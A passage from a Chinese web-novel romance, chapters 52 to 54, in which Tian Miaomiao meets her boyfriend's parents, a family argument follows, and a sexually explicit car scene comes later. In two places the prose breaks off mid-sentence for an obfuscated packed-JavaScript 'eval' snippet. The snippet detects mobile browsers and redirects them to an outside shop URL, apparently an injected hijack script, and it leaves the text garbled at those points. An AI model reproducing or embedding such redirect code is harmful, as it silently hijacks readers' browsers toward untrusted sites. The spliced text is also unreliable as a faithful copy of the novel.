虽然说的有些夸张,但她的确很珍视这盘番茄炒蛋。 她想,池修白一定会记住第一次下厨的经历,哪怕将来两人不在一起了,等他哪天吃到这道家常菜,总会想起她的。 池修白:“既然你想吃,有空我多露几手。” 田妙妙:…… 这话怎么听起来怎么像个大厨呢。 从他这个打鸡蛋都闹笑话的人嘴里说出来,格外诡异。 田妙妙:“我怕你把厨房炸了。” 池修白:“你在跟我说笑吗?我第一次出手,就是饭店品质的一道菜。” 那是因为这道菜谁来做味道都差不多啊,还有她在一旁实时指导,想翻车都难…… 田妙妙不忍打击他的信心:“你的时间很宝贵,还是花在工作上,创造更多的价值比较好。” “这倒也是。”池修白点头表示:“这就是我为什么从不做饭的原因。” 能用钱解决的,干嘛自己动手呢。 田妙妙把冰箱里的面条翻出来煮了,两人分食番茄炒蛋和面条,田妙妙很满足,觉得这是简单的小幸福,池修白却觉得有些寒酸,委屈了两人的肠胃,故而联系酒店外送了几道菜。 对于他的“铺张浪费”,田妙妙已经见怪不怪,没说什么。 等外卖的间隙,田妙妙问:“今天你怎么没工作啊?” “谁说我没工作的。”池修白不咸不淡地说:“不到七点我就醒了,上午工作完才运动的。” “你怎么才睡这么点时间?”田妙妙吃惊:“不困吗?” “习惯了。我一天睡五六个小时就够了。” 田妙妙感慨:“我如果哪天睡眠低于七个小时,心脏会不舒服。” 池修白:“所以,我没叫你起来。” “你们高精力人群太恐怖了。”田妙妙不由得咋舌:“所以很多时候,人能不能取得大成就,都是从基因上就决定好了。有人睡眠短,有人睡眠长,每天能用的时间都不一样,这不公平啊。” 其实她在其他人眼里也挺高精力的,大学时为了赚生活费到处兼职,比一般大学生没课就往宿舍躺强多了,可跟池修白这类人还是不能比。 毕竟,她还没有进化掉睡眠。 “其实我也会困。”池修白坦白:“需要闭上眼睛冥想一会才行。” “然而对于我们普通人而言,困的时候必须狠狠睡一觉才行,否则根本没法集中注意力做事。”田妙妙想了下又说:“玩手机除外,再困也能玩手机。” 池修白笑了下:“你的手机瘾也没有多重。” “那是以前,现在我染上游戏了。”田妙妙悲催道:“总是想点开游戏图标。” 池修白:“等你哪天电子阳痿了就好了。” 田妙妙扬眉:“你该不会已经进入这个阶段了吧?” “差不多吧。”池修白说:“现在除了分析爆款,我都不怎么玩游戏了。” “那你会放弃做游戏吗?”田妙妙问。 “或许。”池修白说:“只靠兴趣驱动,很难长远,但只要还没到完全抵触玩游戏的程度,就能一直做下去。但会不会到那一天,也很难说。世上真的能有始终如一的爱好吗?也不见得。” “你居然也有消极的想法。”田妙妙像发现了新大陆。 池修白:“因为我也是人。” “你应该不是那种特别容易移情别恋的人吧?”田妙妙问。 池修白:“你指的是,对游戏,还是对人?” 田妙妙:“当然是全部。” 池修白淡笑:“真想知道?” 田妙妙突然抖了一下,摇头:“算了,我不想知道,我心里有数就行。” “胆子怎么那么小。”池修白嘴角上扬:“其实我真认准一件事的话,不会轻易放弃的。” 那我是你认准的人吗?田妙妙默默想。 算了,还是享受当下,不问将来吧。 “我知道了。”田妙妙眉眼弯弯,在他脸上亲了。 只是,此时她不知道,这段关系后来是她主动放弃的。 52. 第 52 章 下午时分,陈语打电话过来,不是打给池修白,而是直接打给田妙妙。 田妙妙看见来电显示,紧张得直搓手,小心翼翼接通:“喂,阿姨您好。” 陈语:“妙妙好啊,阿姨这段时间比较忙,没有联系你,你在这边生活得还适应吗?” 田妙妙正襟危坐,回道:“嗯,适应,我过得很好。” 陈语:“修白呢,他没有找你麻烦吧?” 田妙妙:“没有,他挺照顾我的,很感谢你们。” 陈语:“你不用替他说好话,他要是欺负你,你就直接跟我说。” 此刻,池修白就依偎在田妙妙身边,好整以暇地听着她接电话。 田妙妙在他眼皮子底下,只能说:“真没有。” 陈语:“他有跟你说,今天要带你来我们这边,一起吃饭吗?” 田妙妙:“说了。” 陈语:“那就好,妙妙你今天应该有时间吧?你池叔也想看看你,之前一直没机会见你。” 田妙妙:“好的。我会过去的,一起庆祝叔叔的生日。” 陈语:“好,你现在住在哪里?我联系修白,让他去接你。” 田妙妙一下子犯难了,她支吾了下,脑速飞转,胡编乱说:“住在离工作室很近的小区,是修白哥哥帮我租的。” “修白哥哥”这个称呼叫出口时,她被自己肉麻得打了个颤,鸡皮疙瘩掉一地,不敢看向池修白。 池修白似乎很受用,还贱兮兮地在她耳边,学她复述了一遍。 田妙妙伸腿去踹他,被他捉住脚腕,牢牢固定住。 陈语似乎听见了电话这头的打闹声,她问:“你旁边的声音是修白吗?你们现在正在一处?” 田妙妙大脑卡壳了,慌忙把手机扔给池修白,连带着难题也丢给他。 池修白拿起她的手机,直接开口:“妈,我在这边,刚过来接她,你就打过来了。” 陈语不疑有他:“行,算你有心。你们快点过来吧。” “嗯。”池修白说完就挂了电话,把手机丢回去。 田妙妙还心跳扑通扑通的,“差点被你妈妈发现什么了。你以后别随便开口,吓死个人。” 池修白无语地望过去:“有什么好吓人的。就算发现了,又能怎样?” “不知道。”田妙妙思考道:“会不会像电视里演的那样,给你五百万,离开我儿子。”她还戏精上身地模仿了一段。 “你都看些什么乱七八糟的。”池修白笑着弹了下她的脑门。 他挑眉:“真遇到这种情况,你会拿钱走人吗?” 田妙妙心想:别说给她五百万,哪怕什么都不给,光说一句你配不上我儿子,希望你能自觉离开,以田妙妙的自尊心来看,都会选择离开的。 “会啊。这么多钱,我都直接可以躺平了。” 池修白脸沉下去:“再给你个机会,重说。” 田妙妙笑嘻嘻道:“不会,区区五百万,哪里比得过我男朋友!至少得再加个零!” 身价翻十倍,池修白好气又好笑:“这还差不多。” 田妙妙继续摇头摆脑:“五千万也不行,你是我的无价之宝。” 池修白被逗乐:“哎呦,去哪进修甜言蜜语了。” “全是心里话。”田妙妙半真半假地笑道。 池修白倾身去吻她,安慰她:“不用在乎我爸妈怎么想,知道吗?” 田妙妙点头。她在内心提醒自己,不要为没有发生的事,提前焦虑内耗。 半小时后,池修白携带田妙妙,以及贺寿的礼物回到了父母那。 他父母住在远郊的别墅区,远离市区喧闹,山青水幽,门前是个打理得很漂亮的超大庭院。 田妙妙左顾右盼,满脸新奇,小声赞叹:“院里好多花花草草啊,还有池塘哎,真漂亮。” 池修白呵了声:“也就看着好看,蚊虫多,前段时间刚升级了驱蚊系统。” 家里的佣人看见他们后,忙进去通报了声。 很快,陈语出来了。她穿着很随意,身上还系着围裙,八百年不下厨的人,今天倒一反常态亲自下厨了。 陈语笑着看向田妙妙,热情道:“妙妙来了啊,这段时间没见,变漂亮了。怎么还带礼物来,真客气呀。” 接着又跟池修白说了句:“你爸在二楼书房,你先带妙妙进去。” 池修白不甚满意:“让我过来,自己还躲书房里。” 陈语勒令:“今天谁也不许说难听话,知道吗?他昨晚知道你们要来,高兴得快一晚上没睡。” 池修白淡声:“知道了。” 三人一同进入别墅。 池明德听见声响,从书房中出来,正往一楼下来。 池修白坐沙发上,田妙妙则紧张得站着不动。 池明德走了过来,陈语帮忙介绍:“这位就是若兰的女儿,田妙妙。” “这位是池修白的父亲,你叫他池叔就行。”陈语:“你们先聊,我去厨房看一下汤。”说完,便快步走向厨房。 “池叔好。”田妙妙来的路上,已经做了无数遍的心理建设,她面带温和乖巧的笑容,把手里的茶叶礼盒递过去:“祝您生日快乐,带了一点茶叶,也不知道您喝的惯吗?” 池明德点点头,面容和善,笑道:“人来就行,还带东西,真是太有礼貌了。快坐吧。” 两人在沙发上落座。 池明德继续和田妙妙说话:“你妈妈对我们家有恩,可惜她生病的时候,我们没有帮上什么忙。” 田妙妙:“没什么,妈妈当时不愿麻烦你们,才没有联系的。还有就是,很感激你们,看在妈妈的面上,愿意帮我。” “帮你这事得谢我啊,他可没出力。”一旁被忽略掉的池修白突然出声。 被儿子当面怼了下,池明德笑意略僵:“是,你有什么需要的,跟你小池哥哥讲。” 田妙妙点头,父子俩之间气氛诡异,她实在不知道该说什么好。 池明德把注意力转到池修白身上,竟关怀起来:“工作进展得怎么样?我听说你们那游戏快要被人捷足先登了?” 池修白太阳穴突突跳了两下,冷笑:“呵呵,你怎么不干脆说我们的游戏胎死腹中了。” “我又不懂这些,我也是听手底下年轻人讲的,你老东家如今背靠大树,做了个跟你差不多的游戏,看上去要和你打擂台。人家资金和人手都比你强,指不定比你先推出来呢。”池明德语重心长地说:“虽然我对你那行不了解,但生意场上的事都是相通的,讲究的是赢者通吃、背靠大树好乘凉。” “不懂也没影响你搁这点评起来。”池修白兴致缺缺,但凡他回家,少不了被池明德一番打击。 池明德不悦:“你这什么态度,我关心你还关心错了?” 池修白内心直翻白眼,耐心即将告罄:“你有这功夫多关心关心自己吧,少管我对咱们都好。” 儿子态度嚣张,池明德被气得打开话匣,喋喋不休:“我当年就觉得你跑去做游戏就是瞎胡闹,好好的大路不走,去搞这些歪门邪道。你就算不想走纯科研的路子,那去研究什么AI啊,芯片啊这些,好歹说出去还光鲜,代表着国家科技前沿。非要做这种娱乐业,就算能赚钱,说出去面上也无光。” 池修白满脸不耐烦,这话听得他耳朵都要起茧子了。 “快拉倒吧,没有给你长脸的义务。” 池明德气血翻涌,怒斥:“我是你老子,你怎么跟我说话的?!我真不知道怎么生了你这样的犟种!要是你哥还在,肯定能理解我的。” 池修白腾地从沙发上站起来,“你哥”两个字就是他的逆鳞,一碰到他就会发作。 “既然瞧不上我,我走就行,你们就抱着我哥的灵牌一块吃饭吧,我看这个家也确实用不着我!” 田妙妙骇住,此时站也不是,坐也不是。 这才刚来十分钟,就要走吗? 客厅的争吵动静,惊动厨房的陈语,她提着锅铲走过来。 手中的锅铲对着池明德和池修白分别指了下:“你们两个,不许吵架!” 她对池修白说:“你跟我来厨房。”总之,先分开这爷俩,省得又闹崩了。 池修白一言不发,跟着陈语过去。 客厅只剩池明德和田妙妙,完全不熟的两人,在那尴尬对坐。 池明德压下怒意,又换上和蔼的表情,冲田妙妙笑笑:“头一次来,就让你看笑话了。这个不孝子,实在太气人了。” 田妙妙尴尬地陪笑,说:“你们父子俩之间肯定有什么误会,说开就好了。” “没那么容易。”池明德摆摆手,一副没招了的样子:“他什么都要跟我对着干,从工作,到婚姻,没一点让人省心的地方。” “对了,我听他妈说,你现在在他那里工作?” 田妙妙点头。 池明德问起来:“你觉得那个工作室究竟怎么样?到底是不是玩票性质的,弄一群不切实际的年轻人在那里瞎搞。” 田妙妙毕竟只是个外人,不好多加评价,只说:“我觉得工作室的大家都挺认真的,尤其老板他,更是尽心尽力。或许有理想的年轻人,看起来多少会有一些不切实际吧。” 池明德没再说什么。 他挺喜欢眼前这个丫头,文静内秀,说话也贴心,是个很懂事的好孩子。 至少,比池修白这个不孝子强太多了。 “那他的个人问题呢?”除了工作,池明德也比较关心儿子什么时候安定下来。 田妙妙尴尬得想死,心道你儿子跟我搞一块了。 要是说出来,池明德估计要气吐血了…… 田妙妙讪笑:“这个我不清楚,至少在工作室,没发现老板和哪个异性走得近。” 池明德点点头,不再多问。 厨房中。 做饭阿姨在忙碌备餐,陈语帮阿姨打下手,池修白杵在一旁,插不上手。 陈语叹了口气:“一回来就和他吵。” 池修白:“我就不该回来。” 陈语:“瞎说什么,你总不能永远一个人,既然还没成立自己的家庭,那这边就是你唯一的家,没有人能一辈子不回家。” “烦。”池修白闷声道。 “其实我们都支持你现在的工作,你爸听说你现在工作上遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277741|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到难处了,还想着要给你打款,怕你资金上有困难。” “用不着。” “不管你领不领情,他的心意就是这样,只是不会表达。” 陈语近几年变得愈发平和,以前她都不管这对父子的矛盾,但现在,她希望一家人的关系能缓和下来。 她说:“我知道,你心里对我们有怨气,觉得自己是哥哥的替代品。但是,活着的人永远比离开的人重要,我和你爸都是这么想的。” 池修白胸腔升腾起莫名其妙的酸胀感,他不是没想过自己和哥哥究竟谁在父母的心里更重要,只是他不愿深究,也不想去求答案。 这没有多少意义,哪怕赢了,心中也永远横着一根刺。他终究是被比较的那一个,他是带着遗憾和任务降生的那一个。 池修白平复下来:“我知道了。” “好了,把菜端出去吧。”陈语催促。 几分钟后,丰盛的饭菜摆满了桌子,大家落座。 田妙妙坐在池修白和陈语之间。 池明德开了一瓶珍藏的好酒,给自己和儿子倒上。 池修白皱了下眉:“我开车来的。” 陈语说:“没事,晚上就住这边。今天是你爸生日,你陪着喝点。” 池修白看了眼田妙妙。 陈语看到后,再次开口:“妙妙今晚也住下吧,三楼空房间很多,正好多陪我说说话。” 虽然田妙妙内心不自在,但也不想拂陈语的面子,只得点头。 池修白这才同意:“好吧,我少喝点。” “桌饭上不谈工作上的事。”动筷前,陈语提醒池修白父子。 池明德:“知道,吃菜吃菜。” “急什么,订的蛋糕还没送到。”池修白开口。 陈语笑了,冲池明德道:“瞧瞧,儿子还是念着你的。我光顾着给你煮长寿面,都没想着蛋糕的事。” “要谢就谢她,她的功劳。”池修白指了指田妙妙。 其实订蛋糕,还是半路田妙妙提醒他的。 田妙妙忙摆手:“没有没有,不关我事。”她只是口头问了句罢了,蛋糕还是池修白亲自选定的。 陈语始终笑意盈盈:“到底还是小棉袄贴心。” 话音刚落,池修白手机响起,蛋糕送到了。 摆到桌上,不同于寿宴上常见的仙桃造型蛋糕,这个蛋糕是山水画风,糕体上的图案和千里江山图一个风格,山体边缘勾勒了纤细的金边,既有风格,又有意境。 不俗套,有风雅,池明德很满意,甚至还拿手机拍照留念。 “要点蜡烛吗?”田妙妙小声问。 池明德:“不用搞年轻人的那套,直接分了吧。” 这里就她年纪最小,田妙妙主动起身,去拿刀叉,道:“我来切蛋糕吧。” 陈语立马说:“哪有让客人动手的道理,修白你来吧。” “嗯。”池修白从田妙妙手里顺走刀叉:“不用你忙活,坐下等着。” 田妙妙哦了声,乖乖坐下。 “你爸得控血糖,给他少切一点,尝尝味就行。”陈语出声提醒。 池修白动作停顿:“糖尿病?”之前没听他们提过啊。 池明德摆手:“没有那回事,别听你妈瞎说,就血糖和血脂的指标高了点,上了年纪,谁能没点亚健康。” 陈语觑他一眼:“你懂什么叫防患于未然。” 池修白切了四块,分给众人,就属分给田妙妙的那块最大,图案最完整。 虽然是明晃晃的偏心,但在当前场合下,那属于对客人的礼貌,父母都不觉得有什么。 整个用餐气氛还算不错,父子俩虽有小拌嘴,但都化解在酒里。 到了尾声时,池明德喝得有点高,开始扯到池修白的私事。 “你自由这么长时间,也该安定下来了。工作上的事,我跟你妈再也不反对,随你折腾。但是,你也不能故意跟我们犟,一直拖着不结婚。”池明德唉声叹气:“老刘他都抱上孙子了,他儿子前几年为了躲催婚都跑国外去了,现在不还是结婚生子了。” 池修白因酒精作用,有些头晕,没好气道:“这么想抱孙子,你去月子中心抱个够,就怕人家不收男月嫂。” 池明德:“我要的是你成家立业。现在事业这块就不提了,成家总要安排上进程吧?你这样单身下去也不行。对了,老赵家的姑娘最近回国了,那姑娘小时候我见过,模样很标致,条件跟你也相配,前几天老赵还来跟我打听你的事,要不你们有空约着见一面?” 负责调节父子矛盾的陈语却没开口。 显然她也好奇池修白的口风。 田妙妙心里一冷,此刻味如嚼蜡,面对满桌的珍馐,她竟有些反胃想吐。 是啊,他终究是要和门当户对的女生在一起的。 池修白把玩着手中的酒杯,笑了笑,仰头饮尽,他冲池明德嚣张地挑眉。 “谁跟你说我单身的?” 田妙妙脑海中轰隆一声炸开惊雷,手中的筷子没拿稳,啪地一下掉在地上,摔出不合时宜的脆响。 这一刻,饭桌上静得可怕,所有人都看向池修白。 53. 第 53 章 田妙妙弯腰去捡掉落的筷子,她在桌下猛拽了下池修白的裤脚,哀求他不要说出去。 筷子捡起来,放在桌子上,田妙妙头垂下去,像个被烈日酷晒后蔫掉的狗尾巴草。 陈语的目光在池修白和田妙妙身上,不着痕迹地掠过。 她的第六感让她敏锐地察觉出什么,神色变了一瞬后,复归正常。 池明德醉得晕晕乎乎,他听到儿子的话后,畅快地拍拍桌子,笑道:“好!不是单身我就放心了,谈的是哪家姑娘?” 陈语出言怼道:“年轻人谈恋爱,你管这么多做什么,等时候到了,自然就跟你说了。” 池明德摇头晃脑的:“我要不多问几句,万一是这小子哄我们的呢?我这还得给老赵那边回复啊。” 陈语打发他说:“行了,你既然知道儿子不是单身,你就如实回复就行。” 池明德面露怀疑,冲池修白指了指:“我总觉得你小子嘴里没说实话。” 田妙妙此时心跳飙升,她不敢想池修白还能说出什么惊世骇俗的话来。 排山倒海的紧张中,还蕴含着隐隐的期待。 两种情绪疯狂拉扯着她。 面对父亲的质问,他罕见地没有生气。这一刻,池修白大的脑运速变得很慢,心情也变得很平静。 “我骗你有意思吗,我有女朋友,今天我也把她带过来了。” 说完,他伸手握住了田妙妙的手。她的手很凉。 田妙妙闭了闭眼睛,心里的巨石轰然坠地,既绝望,又欣慰。 完蛋了……他父母应该很想把她撵走吧……她想。 可是,被承认的感觉很爽,明明知道事情很糟糕,会遇到很多麻烦,依然会产生的爽感。 如此卑微渺小的凡人啊,也有染指天才的一天。 “胡闹!”池明德因酒精,大脑不够清明,态度也不加掩饰:“你俩差距这么大,能有共同话题吗?” 他说完,面色古怪地看了眼不知所措的田妙妙,补充道:“你和她年龄,工作经历,家庭背景,各方面都不在一个层面上,再说让你照顾人,你就照顾到床上了?你像个什么话?!” “行了,让你少喝点你不听劝,现在一喝高就开始大放厥词!”陈语开口训斥他:“孩子的事,你让孩子自己说。” 说完,陈语看向池修白,也在等他的解释。 田妙妙虽知自己各方面不如池修白,但被池明德直白点出,还是羞耻得面红耳赤。 但她转念一想,既然池修白愿意把她介绍给父母,那么自己就应该和他一同面对问责的压力,而不能自己承受不住,就想着甩掉他逃离这个地方。 她应该勇敢,不卑不亢,她只是喜欢池修白而已,没有做错什么。 田妙妙在池修白开口前,挺直背,对上两位长辈探寻审视的目光。 “我认为爱是超越世俗的,喜欢一个人,首先应该遵从自己的内心,而不是考量现实差距。我只知道,我喜欢他,这就够了。就算我不满足你们找儿媳的条件,可我也不在乎,我和他当前只是恋爱关系。” 这话令池修白心中一动,而后泛起一阵心疼。 她这样自尊心高,又难掩自卑的人,能说出这番话,可想而知做了多大的心理建设。 像一株迎着狂风烈雨,傲然不屈的野草。 “我跟谁在一起,只与我愿不愿意有关,跟你们能不能接受没有半毛钱关系。我们两情相悦,以后少自作主张给我介绍相亲。”池修白斩钉截铁地说,他拉起田妙妙:“行了,饭就吃到这了,我们走吧,今晚就不再这留宿了。” 田妙妙看着他,点点头,随他一同离开。 池明德显然受了刺激,胸腔起伏,憋得厉害,却没说出话来。 他虽看不上田妙妙这个穷酸丫头,可她又偏偏是若兰的女儿,他连句重话都不能说,否则就是不知感恩的狼心狗肺了。 陈语起身,追了出去。 两人已然上车,陈语过来拍了拍车窗。 池修白把车窗降下去。 “你喝了酒,不能开车。”她口吻严肃。 “知道,我联系代驾。” 陈语看向副驾的田妙妙,女孩的勇气已经用尽,低头看着自己的腿面,不敢看向她。 陈语把手腕上的冰种翡翠镯子脱下来,递过去:“妙妙,这事实在是太突然了,阿姨一时没有什么准备,也没其他礼物送你,这枚镯子你别嫌弃。” 田妙妙惶恐,不敢去接。 她疯狂瞥向池修白,眼神求助。 池修白悠悠道:“给你,你就接着,怕什么。” 田妙妙这才伸手,圆条绿镯还带着体温,触感温润细腻。 “谢谢阿姨,我会好好保管的。” 陈语宽和地笑了:“妙妙,刚才你池叔的话,你别放在心上,他喝多了容易胡言乱语,你乖巧懂事,大家都很喜欢你。” 池修白垂眸,在手机上下单代驾服务。 田妙妙冲陈语绽放一个腼腆柔和的笑容:“我知道了阿姨,我不会多想的。” 陈语视线移到池修白身上,嘱咐道:“既然在一起了,就更要好好照顾田妙妙,别想一出是一出,没个正型。” 池修白拖着长音:“知道了。” 陈语:“好,我先回去看看你爸,你们两个要好好的。” 待陈语走后,田妙妙一下子泄了气,浑身瘫软,像是经历了一场浩劫,有气无力地躺在座位上。 她长长地叹息,仿佛要把心中的郁闷全部抒发出来。 池修白斜眼瞧她:“怎么了?生气了?” 他道:“其实我一开始没想讲我们的事,但也没想到池明德会突然给我介绍相亲的事,索性就说了。” “拿我当幌子?” “幌子?你说这话可就没良心了。”池修白哼声:“我其实怕你委屈,才说的。” 那个相亲对象,被描述成门当户对的样子,田妙妙心里头肯定难堪,他不想她陷入这种负面的情绪中,不想让她自我否定,毫无安全感。 “我……我知道。”田妙妙小声说:“其实,听到你跟父母坦白我们的关系时,我很开心。” “既然这样,我爸说的话,你就当个屁放了。” 田妙妙笑了声,忍俊不禁道:“其实他的想法很正常啊,说的也是实话,所以我也不难过。” “又口是心非。”池修白直白指出:“不难过就有鬼了。” “实话才伤人嘛。”田妙妙咕起来。 池修白望着她,眼里有深深的怜惜,他低沉而郑重地说:“我和你在一起,绝对不会产生你条件不行,配不上我,是个拖累这类的想法。你是个很好的人,这件事我明白,希望你也明白。一个擅于权衡利弊的人,通常是没有多少选择的人,我自问我不太需要。” 他这人,很善于捧她的同时,也抬自己。 很诡异地,让人觉得他的想法很真挚。 如果他通过贬低自己,来抬高她,她反而觉得他是油嘴滑舌,说话不可信。 田妙妙心情五味杂陈,难过,悲伤,欢欣,满足兼而有之,她解开安全带,凑过去,在他嘴角边亲了下。 紧接着,在她唇瓣微微离开时,被他按住后脑,加深了这个吻。 他的口中有白酒的辛辣味道,她尝到后,并不喜欢,可他唇舌的入侵气势汹汹,不容抗拒。 酒味蒸腾起来,她仿佛也跟着醉了。 两人亲了又亲,已感受不到时间的流逝,此刻全部的心神只系于唇舌交融。 她整个人快要融化掉,软绵绵的没了力道。 直到车窗再度被敲响,两人交缠的双唇才分开。 车窗降下,是个陌生小哥。 “不好意思哈,我在这等了快十分钟,实在也等不下去了,就打扰了一下。”原来是代驾小哥到了。 田妙妙羞臊得想钻进地缝里。 池修白下了车,给代驾小哥腾地方。代驾小哥把自己的电动自行车折叠好,装进后备箱,而后上了驾驶位。 池修白坐上后位后,见田妙妙仍在副驾一动不动,一时气笑了。 “滚到后面来。” 田妙妙这才恍然,看了眼一侧的代驾小哥,尴尬得不行,赶紧下车坐后排,挨着池修白。 “你是不是傻?”他捏了捏田妙妙的脸。 田妙妙躲了下,挽着他的胳膊,头靠在他的肩上。 “我刚才有点头晕,没反应过来。” “亲傻了?”他不咸不淡地调侃。 田妙妙被他孟浪的话弄得满脸通红,明明这人气质清冷,说起荤话倒是没轻没重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291015|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她做贼心虚地看向开车的小哥。 对方见怪不怪,面色如常,职业素养一流。 田妙妙侧仰头,小声:“你能不能别乱说。” 池修白操纵一旁的按钮,迈巴赫后排的隔断玻璃快速升上去,接着透明玻璃变成乳白的雾色,将前排代驾小哥彻底隔绝掉。 好高级。田妙妙目瞪口呆,这才放心下来。 她突然朝他倾身,腿也伸过去,一阵天旋地转,变成面对着他,跨坐在他腿上。 他的大手卡在她纤细的腰窝上,仰视着她:“继续。” 田妙妙俯身,扶着他宽阔的肩膀,低下头去吻他。 池修白松动闭合的唇齿,让她柔软的舌尖探进来。 田妙妙既胆大妄为,又生疏涩然,两者截然不同的反应融合得恰到好处。 深深地取悦到池修白。 他一动未动,将主动权全部交出去,仍由她的动作。 田妙妙亲了好一会儿,有些难耐,他的被动,衬得她太多急切,让她羞耻感愈加明显。 她不喜欢他八风不动,骄矜自持的模样,她要他失控沦陷。 田妙妙的吻从他的嘴唇移开,偷腥的小猫舌头渐渐下滑,在他光洁的喉结处停下,她用力吮上去,像吸奶那样嘬吸。 池修白喉结难耐地滚动,低沉磁性的闷哼溢出来。 她和舌头要随着喉结的滚动而上下滑动,甚至用牙齿轻轻地咬。 腰上的手臂渐渐用力,收紧后牢牢桎梏住她,让她不得动弹。 他的身体也在逐渐紧绷,肌肉紧实得有些硌人。 田妙妙很满意,瞬间移开唇舌。 下一秒,对上他阴沉的眼睛,里面是浓郁的危险的压迫意味。 那又欲又冷的目光仿佛能直接扒光她。 田妙妙低笑,戳他的喉结:“原来吻痕长这样啊,嘿嘿。” “这么欠/操?”池修白捏着她的下巴:“还有几天能过去?” 他指的大姨妈。 田妙妙眼珠子滴溜一转:“再忍三天吧。” 他重重地深呼吸,咬牙切齿:“行,现在用手。” “好,那你弄吧,我不看。”田妙妙狡黠地闭上眼。 “我说的是你用手。”他贴在她耳边,徐徐地说。 田妙妙猛地睁眼,来不及拒绝,手腕就被他攥住。 夜色如水,豪车疾驰,私密的后排空间香艳无边。 到了目的地后,田妙妙以腿麻为由,赖在他身上不下来。池修白无奈,便抱她下车,一路走到电梯。 他道:“按电梯。” 田妙妙抬手,按了下按钮,指尖无力,手腕还是很酸胀。 步入电梯后,到了一楼,恰好有人进入电梯,还牵着一只毛发雪白吐着舌头的萨摩耶。 萨摩耶像个好奇宝宝,直直瞅着田妙妙,还冲她wer了声。 “别叫。”狗主人勒了下手里的牵引绳,警告它。 下一秒,萨摩耶居然前爪站立起来,扒主人的腿,作势要主人抱起来。 “不行,你太沉了。”狗主人严肃拒绝。 萨摩耶居然在学她,田妙妙顿时害臊得不行,让池修白把她放下去,但他没动。 一直把她抱回家,放到沙发上。 田妙妙提到电梯里的事:“那只狗好可爱啊。” 她突发奇想:“你喜欢狗狗吗?要不我们养一只狗好不好,你觉得呢?” “养宠物非常耗费精力,不是简单的喂个饭就行。”池修白没有直接答应,只觉得她是一时兴起。 田妙妙眨巴着眼睛:“我知道啊,但是两个人一起养宠物,你不觉得很有纪念意义吗,像养孩子一样。” “可以吗可以吗可以吗……”田妙妙发动声波攻击。 池修白冷冷回绝:“不可以。那条狗一看就蠢得要死,我看见蠢东西就头疼。家里有你一个蠢的就够了。” 田妙妙:“……” 算了,你不养我养,等过段时间,她调去策划组站稳脚跟后,就去宠物店买一只回来。 到时候,不给你撸。田妙妙默默想。 至于为什么想养,或许是她想要与这世间有更多的情感联系。在亲缘关系不剩什么之后,她难免想从其他地方获得慰藉,除了池修白以外,还可以是宠物。 54. 第 54 章 周一早上,田妙妙照例蹭池修白的车,准时准点到达工作室。 她进入办公室刚坐下,孙正阳和冯舒就凑到她办公位前。 孙正阳一脸震惊,甚至还有点受伤:“田妙妙,你今天就要调走了?” 田妙妙心道他们的消息真快啊,“那个,你们怎么知道的?” 冯舒回道:“昨晚的OA公告。” 田妙妙闻言登录oa,果然看见了她的调动公告,昨晚她和池修白搁那你侬我侬,真不知道他什么时候发的,自己居然来到办公室才发现。 田妙妙轻点头,表情有些歉疚:“嗯,我要去策划组了,好舍不得你们。” 她说完后,从帆布袋里翻出包装好的小礼物,里面是各种零食、手作和小玩意,送给办公室的人,当成搬走前的一个小礼节。 孙正阳收下她的礼物,痛心疾首:“本以为咱们要共同奋斗,哪想到你先跑路了,策划组有那么好?之前问我想不想去数值策划岗,我就没去,感觉怪无聊的,不如市场组自在适合我。” “你是有选择的实力,咱不一样嘛,哪里需要往哪搬,正好策划组有人辞职,我就被调过去了。”田妙妙隐瞒了自己的主观意愿。 “那边加班会比我们这边严重些。”冯舒提醒道:“要是压力太大坚持不下去,你就跟老板申请回来,这里永远欢迎你。” “记得常回咱们组转转。”孙正阳拍拍她的肩膀。 田妙妙被他俩整得眼泪汪汪的:“谢谢你们,我在那边也会想你们的。” 刚说完没多久,田妙妙被群里通知开个简会。 她到会议室,里面人已到齐,除了池修白,还有策划组组长宋雅容,以及即将要走的王翰飞。 池修白简短地把田妙妙工作调动的事情通知下去,让王翰飞和她做好离职前的交接。 田妙妙和王翰飞加了工作联系方式,跟着他和宋雅容一块去策划组办公室。 离开会议室前,田妙妙回头看了眼池修白,他没离开,面容冷淡垂眸看手机,在等下一波开会的人进来。 远远瞥一眼,真是清俊出众,他认真工作且没什么表情的时候特有味道,越冷越勾人。 或许感受到她在偷瞄,池修白抬眼,凉如秋水的视线与她的碰上,像两根丝线缠绕在一起。 田妙妙心头一热,赶紧闪身,关门。她拍拍胸脯,怎么上班跟偷情似的。 门后,池修白嘴角牵动,心道真是个小痴女,开会的时候就一直偷看个没完,再这么下去,她那点粉红心思迟早暴露。 到了策划组,宋雅容带着田妙妙转了一圈,挨个做了一遍介绍,田妙妙跟在后头一路问好。 大家原本并不认识田妙妙,毕竟她挺安静的,不会像个交际花一样各个办公室乱转。 但自从上次展会,她在工作室就一炮而红,除了极具反差的cos表现,更重要的是池修白大boss替她出头打up主,她这个当事人也跟着出名。 那个up主回去后,居然没有打击报复,也不知道是真被吓怂了,还是被金钱收买了,看热闹的人没有看到后续开撕环节,兴致缺缺地散了,追逐下一个热点。 田妙妙搬了一把椅子,坐王翰飞旁边。 